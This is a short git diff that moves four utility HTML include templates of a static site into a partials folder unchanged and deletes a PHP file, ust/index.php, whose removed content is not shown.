diff --git a/_includes/utilities/mobile-go-to-tags.html b/partials/_includes/utilities/mobile-go-to-tags.html
similarity index 100%
rename from _includes/utilities/mobile-go-to-tags.html
rename to partials/_includes/utilities/mobile-go-to-tags.html
diff --git a/_includes/utilities/mobile-toc.html b/partials/_includes/utilities/mobile-toc.html
similarity index 100%
rename from _includes/utilities/mobile-toc.html
rename to partials/_includes/utilities/mobile-toc.html
diff --git a/_includes/utilities/scroll-to-top.html b/partials/_includes/utilities/scroll-to-top.html
similarity index 100%
rename from _includes/utilities/scroll-to-top.html
rename to partials/_includes/utilities/scroll-to-top.html
diff --git a/_includes/utilities/theme-switch.html b/partials/_includes/utilities/theme-switch.html
similarity index 100%
rename from _includes/utilities/theme-switch.html
rename to partials/_includes/utilities/theme-switch.html
diff --git a/ust/index.php b/ust/index.php
deleted file mode 100644
index 6279bcc93..000000000
--- a/ust/index.php
+++ /dev/null
@@ -1,4 +0,0 @@
-
\ No newline at end of file